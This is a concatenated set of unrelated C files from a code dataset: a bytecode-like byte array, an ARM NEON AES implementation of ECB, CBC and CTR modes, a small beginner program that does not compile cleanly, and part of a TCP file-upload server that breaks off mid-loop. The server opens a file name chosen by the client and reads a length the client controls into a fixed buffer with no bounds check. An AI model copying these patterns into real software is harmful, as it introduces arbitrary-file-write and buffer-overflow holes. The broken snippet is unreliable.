0xda, 0x2c, 0xd6, 0x04, 0x04, 0x02, 0x00, 0x00,
0xb4, 0xef, 0x04, 0xe2, 0xf3, 0x2c, 0xe3, 0xd6,
0xf4, 0xd3, 0xee, 0xba, 0xae, 0xef, 0x17, 0xe4,
0xcb, 0xd6, 0xf5, 0x9f, 0xef, 0x02, 0x2c, 0xd6,
0x42, 0x47, 0x01, 0x00, 0x00, 0xcb, 0xee, 0xbb,
0xa6, 0x27, 0x01, 0x00, 0xda, 0xd6, 0xc6, 0xb4,
0xef, 0x02, 0x2c, 0xe5, 0xef, 0x0b, 0xe5, 0x04,
0x03, 0x01, 0x00, 0x00, 0xa6, 0xd6, 0xa6, 0xda,
0x59, 0x04, 0x00, 0xd6, 0xf4, 0xd2, 0xba, 0x44,
0x5a, 0x05, 0x00, 0xca, 0xbb, 0x44, 0x5a, 0x06,
0x00, 0x59, 0x05, 0x00, 0xef, 0x04, 0xd6, 0xe9,
0x2c, 0xc6, 0xe9, 0x59, 0x07, 0x00, 0xef, 0x24,
0x38, 0x16, 0x02, 0x00, 0x00, 0x42, 0x46, 0x02,
0x00, 0x00, 0x59, 0x08, 0x00, 0x42, 0x47, 0x02,
0x00, 0x00, 0x06, 0xd6, 0x27, 0x02, 0x00, 0x59,
0x09, 0x00, 0x59, 0x0a, 0x00, 0x27, 0x03, 0x00,
0x11, 0xf1, 0x07, 0x59, 0x08, 0x00, 0xd6, 0xf4,
0x11, 0xba, 0x5a, 0x06, 0x00, 0x61, 0x0b, 0x00,
0x42, 0x48, 0x02, 0x00, 0x00, 0x27, 0x00, 0x00,
0x2c, 0x0d, 0x43, 0x00, 0x03, 0x82, 0x07, 0x01,
0x17, 0x01, 0x04, 0x03, 0x0a, 0x8f, 0x04, 0x00,
0x00, 0x30, 0x01, 0x00, 0x31, 0x01, 0x00, 0x2f,
0x01, 0xc5, 0x00, 0xc8, 0x0a, 0xc5, 0x01, 0xc8,
0x0b, 0xc5, 0x02, 0xc8, 0x0c, 0xc5, 0x03, 0xc8,
0x0d, 0xc5, 0x04, 0xc8, 0x0e, 0xc5, 0x05, 0xc8,
0x0f, 0xc5, 0x06, 0xc8, 0x10, 0xc5, 0x07, 0xc8,
0x11, 0xc5, 0x08, 0xc8, 0x15, 0xc5, 0x09, 0xc8,
0x16, 0xd6, 0xee, 0xd1, 0xc6, 0xc8, 0x05, 0xba,
0xc8, 0x06, 0xbb, 0xc8, 0x08, 0x29, 0x00, 0x00,
0xc8, 0x09, 0x04, 0x49, 0x02, 0x00, 0x00, 0x04,
0x4a, 0x02, 0x00, 0x00, 0xa6, 0x04, 0x4b, 0x02,
0x00, 0x00, 0xa6, 0x04, 0x4c, 0x02, 0x00, 0x00,
0xa6, 0x04, 0x4d, 0x02, 0x00, 0x00, 0xa6, 0x04,
0x4e, 0x02, 0x00, 0x00, 0xa6, 0x04, 0x4f, 0x02,
0x00, 0x00, 0xa6, 0x04, 0x50, 0x02, 0x00, 0x00,
0xa6, 0x04, 0x51, 0x02, 0x00, 0x00, 0xa6, 0x04,
0x52, 0x02, 0x00, 0x00, 0xa6, 0xc8, 0x12, 0x04,
0x53, 0x02, 0x00, 0x00, 0xc8, 0x13, 0x04, 0x54,
0x02, 0x00, 0x00, 0xc8, 0x14, 0xba, 0xce, 0xca,
0xcd, 0xac, 0x68, 0x75, 0x01, 0x00, 0x00, 0x06,
0xc8, 0x04, 0xca, 0xd0, 0xd6, 0xca, 0x9a, 0xce,
0x44, 0xd3, 0x14, 0x04, 0xd8, 0x01, 0x00, 0x00,
0xb4, 0xf0, 0x1c, 0x14, 0x04, 0x02, 0x01, 0x00,
0x00, 0xb4, 0xf0, 0x13, 0x14, 0x04, 0x05, 0x01,
0x00, 0x00, 0xb4, 0xf0, 0x0a, 0x14, 0x04, 0x03,
0x01, 0x00, 0x00, 0xb4, 0xef, 0x04, 0x11, 0xf1,
0xc7, 0x14, 0x04, 0x55, 0x02, 0x00, 0x00, 0xb4,
0xf0, 0x0a, 0x14, 0x04, 0xe3, 0x01, 0x00, 0x00,
0xb4, 0xef, 0x18, 0xca, 0xcd, 0xac, 0xef, 0x0d,
0xd6, 0xca, 0x44, 0xcb, 0xb2, 0xef, 0x06, 0x9c,
0x00, 0x11, 0xf1, 0xa4, 0xbb, 0xc8, 0x08, 0x11,
0xf1, 0x9e, 0x14, 0x04, 0xc9, 0x01, 0x00, 0x00,
0xb4, 0xef, 0x44, 0xca, 0xcd, 0xac, 0xef, 0x13,
0xd6, 0xca, 0x44, 0x04, 0x75, 0x00, 0x00, 0x00,
0xb2, 0xef, 0x08, 0xc7, 0x0d, 0xf3, 0x11, 0xf2,
0xe7, 0x00, 0xca, 0xcd, 0xac, 0xef, 0x13, 0xd6,
0xca, 0x44, 0x04, 0xc9, 0x01, 0x00, 0x00, 0xb2,
0xef, 0x08, 0xc7, 0x0e, 0xf3, 0x11, 0xf2, 0xd0,
0x00, 0xc7, 0x08, 0xef, 0x0b, 0xc7, 0x10, 0xf3,
0x11, 0xba, 0xc8, 0x08, 0xf2, 0xc2, 0x00, 0xbb,
0xc8, 0x08, 0x11, 0xf2, 0x53, 0xff, 0x14, 0x04,
0xc5, 0x01, 0x00, 0x00, 0xb4, 0xf0, 0x13, 0x14,
0x04, 0xc6, 0x01, 0x00, 0x00, 0xb4, 0xf0, 0x0a,
0x14, 0x04, 0x56, 0x02, 0x00, 0x00, 0xb4, 0xef,
0x0c, 0xc7, 0x0f, 0xcb, 0xf4, 0x11, 0xba, 0xc8,
0x08, 0xf2, 0x95, 0x00, 0x14, 0x04, 0xd2, 0x01,
0x00, 0x00, 0xb4, 0xf0, 0x13, 0x14, 0x04, 0xdc,
0x01, 0x00, 0x00, 0xb4, 0xf0, 0x0a, 0x14, 0x04,
0x57, 0x02, 0x00, 0x00, 0xb4, 0xef, 0x0f, 0xbb,
0xc8, 0x08, 0x9c, 0x06, 0xc7, 0x0a, 0xcb, 0xf4,
0x11, 0x11, 0xf2, 0x04, 0xff, 0x14, 0x04, 0xd3,
0x01, 0x00, 0x00, 0xb4, 0xf0, 0x13, 0x14, 0x04,
0xc7, 0x01, 0x00, 0x00, 0xb4, 0xf0, 0x0a, 0x14,
0x04, 0xc8, 0x01, 0x00, 0x00, 0xb4, 0xef, 0x25,
0xba, 0xc8, 0x08, 0xc7, 0x06, 0xba, 0xae, 0xef,
0x13, 0xe3, 0xc7, 0x0b, 0xf3, 0xcb, 0xf5, 0xef,
0x0b, 0x9b, 0x06, 0xc7, 0x0c, 0xf3, 0x11, 0x11,
0xf2, 0xce, 0xfe, 0x04, 0xf4, 0x00, 0x00, 0x00,
0xc8, 0x04, 0xf1, 0x2c, 0xe4, 0xcb, 0xf4, 0xef,
0x0a, 0xc7, 0x11, 0xf3, 0x11, 0xba, 0xc8, 0x08,
0xf1, 0x1e, 0xe2, 0xcb, 0xf4, 0x14, 0xf0, 0x09,
0x11, 0xcb, 0x04, 0x40, 0x01, 0x00, 0x00, 0xb2,
0xef, 0x07, 0xc7, 0x15, 0xf3, 0x11, 0xf1, 0x08,
0xbb, 0xc8, 0x08, 0x11, 0xf2, 0x9a, 0xfe, 0x11,
0xc7, 0x04, 0x68, 0x94, 0xfe, 0xff, 0xff, 0xc7,
0x16, 0xcc, 0xca, 0xf5, 0x11, 0xf2, 0x89, 0xfe,
0xc7, 0x16, 0xcd, 0xcd, 0xf5, 0x11, 0xc7, 0x05,
0xc7, 0x06, 0xc7, 0x09, 0x29, 0x03, 0x00, 0x2b,
0x0d, 0x43, 0x00, 0x03, 0xb0, 0x09, 0x01, 0x00,
0x01, 0x02, 0x01, 0x00, 0x05, 0x00, 0x00, 0x05,
0x01, 0xe2, 0xd6, 0xa6, 0xe6, 0x2c, 0x0d, 0x43,
0x00, 0x03, 0xb2, 0x09, 0x01, 0x00, 0x01, 0x04,
0x01, 0x00, 0x0d, 0x00, 0x00, 0x05, 0x01, 0xe2,
0x42, 0x47, 0x01, 0x00, 0x00, 0xe2, 0xee, 0xbb,
0xa7, 0x28, 0x01, 0x00, 0x0d, 0x43, 0x00, 0x03,
0xb4, 0x09, 0x01, 0x00, 0x01, 0x05, 0x02, 0x00,
0x14, 0x00, 0x00, 0x0b, 0x01, 0x00, 0x05, 0x01,
0xe2, 0xf3, 0xda, 0xe3, 0x42, 0x47, 0x01, 0x00,
0x00, 0xba, 0xe3, 0xee, 0xbb, 0xa7, 0x27, 0x02,
0x00, 0xe7, 0xd6, 0x2b, 0x0d, 0x43, 0x00, 0x03,
0xb6, 0x09, 0x00, 0x00, 0x00, 0x03, 0x06, 0x00,
0x49, 0x00, 0xb8, 0x09, 0x04, 0x01, 0xb0, 0x09,
0x0a, 0x01, 0xba, 0x09, 0x00, 0x01, 0xd2, 0x07,
0x03, 0x01, 0xbc, 0x09, 0x00, 0x03, 0xb4, 0x09,
0x0c, 0x01, 0x04, 0xef, 0x00, 0x00, 0x00, 0xe6,
0xe3, 0x04, 0xc9, 0x01, 0x00, 0x00, 0xf4, 0x11,
0xe4, 0x98, 0xe8, 0xe4, 0xe5, 0xbb, 0xa7, 0xac,
0xef, 0x31, 0x59, 0x04, 0x00, 0xe4, 0x44, 0x04,
0x75, 0x00, 0x00, 0x00, 0xb2, 0xef, 0x1f, 0x59,
0x04, 0x00, 0xe4, 0xbb, 0xa6, 0x44, 0x04, 0xc9,
0x01, 0x00, 0x00, 0xb2, 0xef, 0x10, 0xe4, 0xbc,
0xa6, 0xe8, 0x59, 0x05, 0x00, 0x04, 0xc9, 0x01,
0x00, 0x00, 0xf4, 0x11, 0x2c, 0xe4, 0x98, 0xe8,
0xf1, 0xca, 0x2c, 0x0d, 0x43, 0x00, 0x03, 0xbe,
0x09, 0x00, 0x00, 0x00, 0x02, 0x04, 0x00, 0x1f,
0x00, 0xb8, 0x09, 0x04, 0x01, 0xba, 0x09, 0x00,
0x01, 0xd2, 0x07, 0x03, 0x01, 0xbc, 0x09, 0x00,
0x03, 0x04, 0xef, 0x00, 0x00, 0x00, 0xe6, 0xe3,
0x98, 0xe7, 0xe3, 0xe4, 0xac, 0xef, 0x11, 0xe5,
0xe3, 0x44, 0x04, 0x03, 0x01, 0x00, 0x00, 0xb2,
0xf0, 0x06, 0xe3, 0x98, 0xe7, 0xf1, 0xec, 0x2c,
0x0d, 0x43, 0x00, 0x03, 0xc0, 0x09, 0x01, 0x00,
0x01, 0x03, 0x07, 0x00, 0x4c, 0x00, 0x00, 0x04,
0x01, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x01, 0x00,
0x03, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x03,
0x00, 0x0c, 0x01, 0x04, 0x47, 0x00, 0x00, 0x00,
0xe6, 0xe3, 0xd6, 0xf4, 0x11, 0xe4, 0xe5, 0xac,
0xef, 0x3d, 0x59, 0x05, 0x00, 0xe4, 0x9a, 0xe8,
0x44, 0x5b, 0x04, 0x00, 0x04, 0x03, 0x01, 0x00,
0x00, 0xb2, 0xef, 0x09, 0x04, 0xf4, 0x00, 0x00,
0x00, 0xe6, 0xf1, 0xe2, 0x59, 0x04, 0x00, 0x04,
0x02, 0x02, 0x00, 0x00, 0xb2, 0xef, 0x0b, 0xe4,
0xe5, 0xaf, 0xf0, 0x13, 0xe4, 0x98, 0xe8, 0xf1,
0xcd, 0x59, 0x04, 0x00, 0xd6, 0xb2, 0xef, 0xc6,
0x59, 0x06, 0x00, 0xf3, 0x11, 0x2c, 0x2c, 0x0d,
0x43, 0x00, 0x03, 0xc2, 0x09, 0x00, 0x00, 0x00,
0x03, 0x09, 0x00, 0xc4, 0x01, 0x00, 0xb8, 0x09,
0x04, 0x01, 0xb0, 0x09, 0x0a, 0x01, 0xba, 0x09,
0x00, 0x01, 0xd2, 0x07, 0x03, 0x01, 0x94, 0x06,
0x01, 0x01, 0xbc, 0x09, 0x00, 0x03, 0xb2, 0x09,
0x0b, 0x01, 0xb4, 0x09, 0x0c, 0x01, 0xfc, 0x04,
0x00, 0x00, 0x04, 0xf0, 0x00, 0x00, 0x00, 0xe6,
0xe3, 0x04, 0xc9, 0x01, 0x00, 0x00, 0xf4, 0x11,
0xe4, 0xe5, 0xac, 0x68, 0xb1, 0x00, 0x00, 0x00,
0x59, 0x05, 0x00, 0xe4, 0x9a, 0xe8, 0x44, 0x5b,
0x04, 0x00, 0x04, 0x03, 0x01, 0x00, 0x00, 0xb2,
0xef, 0x09, 0x04, 0xf4, 0x00, 0x00, 0x00, 0xe6,
0xf1, 0xdf, 0x59, 0x04, 0x00, 0x04, 0x02, 0x02,
0x00, 0x00, 0xb2, 0xef, 0x0b, 0xe4, 0xe5, 0xac,
0xef, 0xcf, 0xe4, 0x98, 0xe8, 0xf1, 0xca, 0x59,
0x06, 0x00, 0xf3, 0x04, 0xdc, 0x01, 0x00, 0x00,
0xb2, 0xef, 0x13, 0x59, 0x04, 0x00, 0x04, 0xc7,
0x01, 0x00, 0x00, 0xb2, 0xef, 0xb3, 0x59, 0x07,
0x00, 0xf3, 0x11, 0xf1, 0xac, 0x59, 0x04, 0x00,
0x04, 0xdc, 0x01, 0x00, 0x00, 0xb2, 0xef, 0x2e,
0xe3, 0x04, 0xdc, 0x01, 0x00, 0x00, 0xf4, 0x11,
0x59, 0x05, 0x00, 0xe4, 0x44, 0x04, 0xdc, 0x01,
0x00, 0x00, 0xb2, 0x14, 0xf0, 0x0d, 0x11, 0x59,
0x05, 0x00, 0xe4, 0x44, 0x04, 0xc7, 0x01, 0x00,
0x00, 0xb2, 0x68, 0x7d, 0xff, 0xff, 0xff, 0xe4,
0x98, 0xe8, 0xf2, 0x75, 0xff, 0x59, 0x04, 0x00,
0x04, 0xc9, 0x01, 0x00, 0x00, 0xb2, 0x68, 0x69,
0xff, 0xff, 0xff, 0x59, 0x07, 0x00, 0xf3, 0x11,
0xe4, 0xe5, 0xac, 0xef, 0x11, 0x59, 0x08, 0x00,
0x59, 0x05, 0x00, 0xe4, 0x44, 0xf4, 0xef, 0x06,
0xe4, 0x98, 0xe8, 0xf1, 0xec, 0x2c, 0x0d, 0x43,
0x00, 0x03, 0xc4, 0x09, 0x00, 0x00, 0x00, 0x03,
0x05, 0x00, 0x41, 0x00, 0xb8, 0x09, 0x04, 0x01,
0xba, 0x09, 0x00, 0x01, 0xd2, 0x07, 0x03, 0x01,
0xfc, 0x04, 0x00, 0x00, 0xbc, 0x09, 0x00, 0x03,
0x04, 0x45, 0x00, 0x00, 0x00, 0xe6, 0xe3, 0xe4,
0xac, 0xef, 0x36, 0xe5, 0x59, 0x04, 0x00, 0xe3,
0x44, 0xf4, 0x14, 0xf0, 0x25, 0x11, 0x59, 0x04,
0x00, 0xe3, 0x44, 0x04, 0xc4, 0x01, 0x00, 0x00,
0xb2, 0xef, 0x1e, 0xe3, 0xe4, 0xbb, 0xa7, 0xb2,
0x14, 0xf0, 0x0f, 0x11, 0x59, 0x04, 0x00, 0xe3,
0xbb, 0xa6, 0x44, 0x04, 0xc4, 0x01, 0x00, 0x00,
0xb3, 0xef, 0x06, 0xe3, 0x98, 0xe7, 0xf1, 0xc7,
0x2c, 0x0d, 0x43, 0x00, 0x03, 0xc6, 0x09, 0x00,
0x02, 0x00, 0x05, 0x0a, 0x00, 0xb3, 0x01, 0x00,
0x00, 0x08, 0x01, 0x00, 0x00, 0x01, 0x00, 0x03,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00,
0x02, 0x01, 0x00, 0x12, 0x01, 0x00, 0x04, 0x01,
0x00, 0x13, 0x01, 0x00, 0x14, 0x01, 0xbb, 0xe6,
0xe3, 0xe4, 0xac, 0xef, 0x0f, 0xe5, 0x59, 0x04,
0x00, 0xe3, 0x44, 0xf4, 0xef, 0x06, 0xe3, 0x98,
0xe7, 0xf1, 0xee, 0x04, 0x49, 0x02, 0x00, 0x00,
0x59, 0x04, 0x00, 0x42, 0x47, 0x01, 0x00, 0x00,
0x59, 0x05, 0x00, 0xe3, 0x27, 0x02, 0x00, 0xa6,
0x04, 0x49, 0x02, 0x00, 0x00, 0xa6, 0xce, 0x59,
0x06, 0x00, 0x42, 0xc3, 0x01, 0x00, 0x00, 0xca,
0x27, 0x01, 0x00, 0xba, 0xaf, 0xef, 0x1c, 0x04,
0xf1, 0x00, 0x00, 0x00, 0x5a, 0x07, 0x00, 0x59,
0x08, 0x00, 0x42, 0xc3, 0x01, 0x00, 0x00, 0xca,
0x27, 0x01, 0x00, 0xba, 0xaf, 0xef, 0x03, 0xba,
0xe6, 0x2c, 0xe3, 0xcf, 0xcb, 0xe4, 0xac, 0xef,
0x12, 0x59, 0x04, 0x00, 0xcb, 0x44, 0x04, 0xd8,
0x01, 0x00, 0x00, 0xb2, 0xef, 0x05, 0x9c, 0x01,
0xf1, 0xeb, 0xcb, 0xe4, 0xac, 0xef, 0x17, 0x59,
0x04, 0x00, 0xcb, 0x44, 0x04, 0xd2, 0x01, 0x00,
0x00, 0xb2, 0xef, 0x0a, 0x04, 0x1b, 0x00, 0x00,
0x00, 0x5a, 0x07, 0x00, 0x2c, 0x59, 0x09, 0x00,
0x42, 0xc3, 0x01, 0x00, 0x00, 0xca, 0x27, 0x01,
0x00, 0xba, 0xaf, 0xef, 0x0a, 0x04, 0xf2, 0x00,
0x00, 0x00, 0x5a, 0x07, 0x00, 0x2c, 0x04, 0xf3,
0x00, 0x00, 0x00, 0x5a, 0x07, 0x00, 0xba, 0xe6,
0x2c, 0x0d, 0x43, 0x00, 0x03, 0xc8, 0x09, 0x02,
0x00, 0x02, 0x03, 0x02, 0x00, 0x2b, 0x00, 0x00,
0x09, 0x01, 0x00, 0x04, 0x01, 0xe2, 0xee, 0xd6,
0xac, 0xef, 0x12, 0xe2, 0x42, 0x65, 0x01, 0x00,
0x00, 0x04, 0x16, 0x00, 0x00, 0x00, 0x27, 0x01,
0x00, 0x11, 0xf1, 0xea, 0xe2, 0xee, 0xd7, 0xac,
0xef, 0x0e, 0xe2, 0x42, 0x65, 0x01, 0x00, 0x00,
0xe3, 0x27, 0x01, 0x00, 0x11, 0xf1, 0xee, 0x2c,
};
|
the_stack_data/83010.c | #if defined(__aarch64__)
#include <stdint.h>
#include <string.h>
#if defined(__ARM_NEON) || defined(_WIN32)
#include <arm_neon.h>
#endif
/* GCC and LLVM Clang, but not Apple Clang */
# if defined(__GNUC__) && !defined(__apple_build_version__)
# if defined(__ARM_ACLE) || defined(__ARM_FEATURE_CRYPTO)
# include <arm_acle.h>
# endif
# endif
#include "j.h"
#include "aes-arm_table.h"
#define AES_ENCRYPT 1
#define AES_DECRYPT 0
#define BLOCK_SIZE 16
#define AES_RKSIZE 272
typedef struct {
#ifdef _WIN32
__declspec(align(16)) uint8_t rk[AES_RKSIZE];
#else
uint8_t __attribute__ ((aligned (16))) rk[AES_RKSIZE];
#endif
uint8_t Nk; //For this standard, Nk = 4, 6, or 8. (Also see Sec. 6.3.)
uint8_t Nr; //For this standard, Nr = 10, 12, or 14. (Also see Sec. 6.3.)
} block_state;
#define Nb 4u
#define Nbb Nb*4
#ifndef GET_UINT32_LE
#define GET_UINT32_LE(n,b,i) \
{ \
(n) = ( (uint32_t) (b)[(i) ] ) \
| ( (uint32_t) (b)[(i) + 1] << 8 ) \
| ( (uint32_t) (b)[(i) + 2] << 16 ) \
| ( (uint32_t) (b)[(i) + 3] << 24 ); \
}
#endif
static void aes_setkey_enc(block_state* self, const uint8_t *key, int keyn)
{
unsigned int i;
uint32_t *RK;
// keyn 16 24 32
// AES_KEYSIZE 128 192 256 *&8 << 3
// Nk 4 6 8 %& >> 2
// Nr 10 12 14 6+%&4 6 + >>2
uint32_t AES_KEYSIZE = keyn << 3;
self->Nk = keyn >> 2;
self->Nr = (self->Nk + 6);
RK = (uint32_t *) self->rk;
for( i = 0; i < (self->Nk); i++ ) {
GET_UINT32_LE( RK[i], key, i << 2 );
}
switch( self->Nr ) {
case 10:
for( i = 0; i < 10; i++, RK += 4 ) {
RK[4] = RK[0] ^ RCON[i] ^
( (uint32_t) FSb[ ( RK[3] >> 8 ) & 0xFF ] ) ^
( (uint32_t) FSb[ ( RK[3] >> 16 ) & 0xFF ] << 8 ) ^
( (uint32_t) FSb[ ( RK[3] >> 24 ) & 0xFF ] << 16 ) ^
( (uint32_t) FSb[ ( RK[3] ) & 0xFF ] << 24 );
RK[5] = RK[1] ^ RK[4];
RK[6] = RK[2] ^ RK[5];
RK[7] = RK[3] ^ RK[6];
}
break;
case 12:
for( i = 0; i < 8; i++, RK += 6 ) {
RK[6] = RK[0] ^ RCON[i] ^
( (uint32_t) FSb[ ( RK[5] >> 8 ) & 0xFF ] ) ^
( (uint32_t) FSb[ ( RK[5] >> 16 ) & 0xFF ] << 8 ) ^
( (uint32_t) FSb[ ( RK[5] >> 24 ) & 0xFF ] << 16 ) ^
( (uint32_t) FSb[ ( RK[5] ) & 0xFF ] << 24 );
RK[7] = RK[1] ^ RK[6];
RK[8] = RK[2] ^ RK[7];
RK[9] = RK[3] ^ RK[8];
RK[10] = RK[4] ^ RK[9];
RK[11] = RK[5] ^ RK[10];
}
break;
case 14:
for( i = 0; i < 7; i++, RK += 8 ) {
RK[8] = RK[0] ^ RCON[i] ^
( (uint32_t) FSb[ ( RK[7] >> 8 ) & 0xFF ] ) ^
( (uint32_t) FSb[ ( RK[7] >> 16 ) & 0xFF ] << 8 ) ^
( (uint32_t) FSb[ ( RK[7] >> 24 ) & 0xFF ] << 16 ) ^
( (uint32_t) FSb[ ( RK[7] ) & 0xFF ] << 24 );
RK[9] = RK[1] ^ RK[8];
RK[10] = RK[2] ^ RK[9];
RK[11] = RK[3] ^ RK[10];
RK[12] = RK[4] ^
( (uint32_t) FSb[ ( RK[11] ) & 0xFF ] ) ^
( (uint32_t) FSb[ ( RK[11] >> 8 ) & 0xFF ] << 8 ) ^
( (uint32_t) FSb[ ( RK[11] >> 16 ) & 0xFF ] << 16 ) ^
( (uint32_t) FSb[ ( RK[11] >> 24 ) & 0xFF ] << 24 );
RK[13] = RK[5] ^ RK[12];
RK[14] = RK[6] ^ RK[13];
RK[15] = RK[7] ^ RK[14];
}
break;
}
}
static void aes_inverse_key(block_state* self, const uint8_t *fwdkey)
{
int i, j;
uint32_t *RK;
uint32_t *SK;
#if (defined(__clang__) && ( (__clang_major__ > 3) || ((__clang_major__ == 3) && ((__clang_minor__ > 5) || !(defined(__aarch32__)||defined(__arm__)||defined(__aarch64__)) )))) || __GNUC__ > 4 || (__GNUC__ == 4 && (__GNUC_MINOR__ > 6))
fwdkey = (const uint8_t *) __builtin_assume_aligned (fwdkey, 16);
#endif
RK = (uint32_t *) self->rk;
SK = ((uint32_t *) fwdkey) + self->Nr * 4;
*RK++ = *SK++;
*RK++ = *SK++;
*RK++ = *SK++;
*RK++ = *SK++;
for( i = self->Nr - 1, SK -= 8; i > 0; i--, SK -= 8 ) {
for( j = 0; j < 4; j++, SK++ ) {
*RK++ = RT0[ FSb[ ( *SK ) & 0xFF ] ] ^
RT1[ FSb[ ( *SK >> 8 ) & 0xFF ] ] ^
RT2[ FSb[ ( *SK >> 16 ) & 0xFF ] ] ^
RT3[ FSb[ ( *SK >> 24 ) & 0xFF ] ];
}
}
*RK++ = *SK++;
*RK++ = *SK++;
*RK++ = *SK++;
*RK++ = *SK++;
}
/*
* ARMv8a AES-ECB block en(de)cryption
*/
static void aes_crypt_ecb( block_state* self,
int mode,
const unsigned char input[16],
unsigned char output[16] )
{
int i;
uint8x16_t state_vec, roundkey_vec;
uint8_t *RK = (uint8_t *) self->rk;
// Load input and round key into into their vectors
state_vec = vld1q_u8( input );
if ( mode == AES_ENCRYPT ) {
// Initial AddRoundKey is in the loop due to AES instruction always doing AddRoundKey first
for( i = 0; i < self->Nr - 1; i++ ) {
// Load Round Key
roundkey_vec = vld1q_u8( RK );
// Forward (AESE) round (AddRoundKey, SubBytes and ShiftRows)
state_vec = vaeseq_u8( state_vec, roundkey_vec );
// Mix Columns (AESMC)
state_vec = vaesmcq_u8( state_vec );
// Move pointer ready to load next round key
RK += 16;
}
// Final Forward (AESE) round (AddRoundKey, SubBytes and ShiftRows). No Mix columns
roundkey_vec = vld1q_u8( RK ); /* RK already moved in loop */
state_vec = vaeseq_u8( state_vec, roundkey_vec );
} else {
// Initial AddRoundKey is in the loop due to AES instruction always doing AddRoundKey first
for( i = 0; i < self->Nr - 1; i++ ) {
// Load Round Key
roundkey_vec = vld1q_u8( RK );
// Reverse (AESD) round (AddRoundKey, SubBytes and ShiftRows)
state_vec = vaesdq_u8( state_vec, roundkey_vec );
// Inverse Mix Columns (AESIMC)
state_vec = vaesimcq_u8( state_vec );
// Move pointer ready to load next round key
RK += 16;
}
// Final Reverse (AESD) round (AddRoundKey, SubBytes and ShiftRows). No Mix columns
roundkey_vec = vld1q_u8( RK ); /* RK already moved in loop */
state_vec = vaesdq_u8( state_vec, roundkey_vec );
}
// Manually apply final Add RoundKey step (EOR)
RK += 16;
roundkey_vec = vld1q_u8( RK );
state_vec = veorq_u8( state_vec, roundkey_vec );
// Write results back to output array
vst1q_u8( output, state_vec );
}
#define block_init aes_setkey_enc
#define block_encrypt(self, input, output) aes_crypt_ecb(self, AES_ENCRYPT, input, output)
#define block_decrypt(self, input, output) aes_crypt_ecb(self, AES_DECRYPT, input, output)
static void block_finalize(block_state* self)
{
}
/*
mode
0 ECB
1 CBC
2 CTR
*/
// iv must be 16-byte wide
// out buffer of n bytes and n must be 16-byte block
// out buffer will be overwritten
int aes_arm(I decrypt,I mode,UC *key,I keyn,UC* ivec,UC* out,I len)
{
block_state self;
#ifdef _WIN32
__declspec(align(16)) uint8_t rk_tmp[AES_RKSIZE];
#else
uint8_t __attribute__ ((aligned (16))) rk_tmp[AES_RKSIZE];
#endif
uint8_t *str=out;
I i;
switch(mode) {
case 0:
block_init(&self, key, (int)keyn);
if(decrypt) {
memcpy(rk_tmp, self.rk, AES_RKSIZE);
aes_inverse_key(&self, rk_tmp);
for(i=0; i<len; i+=BLOCK_SIZE) block_decrypt(&self, str+i,out+i);
} else {
for(i=0; i<len; i+=BLOCK_SIZE) block_encrypt(&self, str+i,out+i);
}
block_finalize(&self);
break;
case 1:
block_init(&self, key, (int)keyn);
if(decrypt) {
memcpy(rk_tmp, self.rk, AES_RKSIZE);
aes_inverse_key(&self, rk_tmp);
uint8x16_t iv, temp, storeNextIv;
iv = vld1q_u8(ivec);
for(i=0; i<len; i+=BLOCK_SIZE) {
storeNextIv = vld1q_u8((str+i));
block_decrypt(&self, str+i, (uint8_t*)&temp);
temp = veorq_u8(temp, iv);
vst1q_u8((out+i), temp);
iv = storeNextIv;
}
} else {
uint8x16_t iv, temp;
iv = vld1q_u8(ivec);
for(i=0; i<len; i+=BLOCK_SIZE) {
temp = vld1q_u8((str+i));
temp = veorq_u8(temp, iv);
block_encrypt(&self, (uint8_t*)&temp, out+i);
iv = vld1q_u8((out+i));
}
}
block_finalize(&self);
break;
case 2: {
uint8_t iv[BLOCK_SIZE];
uint8_t buffer[BLOCK_SIZE];
block_init(&self, key, (int)keyn);
memcpy(iv, ivec, BLOCK_SIZE);
uintptr_t i;
int bi;
for (i = 0, bi = BLOCK_SIZE; i < (uintptr_t)len; ++i, ++bi) {
if (bi == BLOCK_SIZE) { /* we need to regen xor compliment in buffer */
memcpy(buffer, iv, BLOCK_SIZE);
block_encrypt(&self, buffer,buffer);
/* Increment Iv and handle overflow */
for (bi = (BLOCK_SIZE - 1); bi >= 0; --bi) {
/* inc will overflow */
if (iv[bi] == 255) {
iv[bi] = 0;
continue;
}
iv[bi] += 1;
break;
}
bi = 0;
}
out[i] = (out[i] ^ buffer[bi]);
}
}
block_finalize(&self);
break;
default:
R 1;
}
R 0; // success
}
#endif
|
the_stack_data/45198.c | //write a program that takes a digit from user and display spelling
#include<stdio.h>
int x=10;
int y=5;
int main()
{
printf("x=%d\n",x);
display ();
}
void display()
{
printf("y= %d",y);
return 0;
}
|
the_stack_data/104827519.c | #include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "err.h"
#define LINE_SIZE 1024
ssize_t read_wrapper(int s, char *line, size_t line_size,
const char *error_mess) {
memset(line, 0, LINE_SIZE);
int ret = read(s, line, line_size);
if (ret < 0) {
syserr(error_mess);
}
return ret;
}
uint64_t read_int64(int s, char *line) {
size_t line_size = 65;
char *end_ptr;
if (read_wrapper(s, line, line_size, "read int64") == 0) {
syserr("read int64");
}
return strtoull(line, &end_ptr, 10);
}
void *handle_connection(void *s_ptr) {
int ret, s;
socklen_t len;
char line[LINE_SIZE + 1], peername[LINE_SIZE + 1], peeraddr[LINE_SIZE + 1],
file_name[LINE_SIZE + 1];
struct sockaddr_in addr;
s = *(int *) s_ptr;
free(s_ptr);
len = sizeof(addr);
/* Któż to do nas dzwoni (adres)? */
ret = getpeername(s, (struct sockaddr *) &addr, &len);
if (ret == -1) {
syserr("getsockname");
}
inet_ntop(AF_INET, &addr.sin_addr, peeraddr, LINE_SIZE);
snprintf(peername, 2 * LINE_SIZE, "%s:%d", peeraddr, ntohs(addr.sin_port));
/* czytamy dlugosc nazwy pliku */
ssize_t file_name_size = read_int64(s, line);
/* czytamy nazwe pliku */
if (read_wrapper(s, line, file_name_size, "file name read") !=
file_name_size) {
syserr("file name read");
}
strcpy(file_name, line);
/* czytamy dlugosc pliku */
uint64_t file_size = read_int64(s, line);
printf("new client %s size=%lu file=%s\n", peername, file_size, file_name);
/* tworzymy plik */
FILE *file = fopen(file_name, "w");
if (file == NULL) {
syserr("file open");
}
sleep(1);
uint64_t sum_of_sizes = 0;
for (;;) {
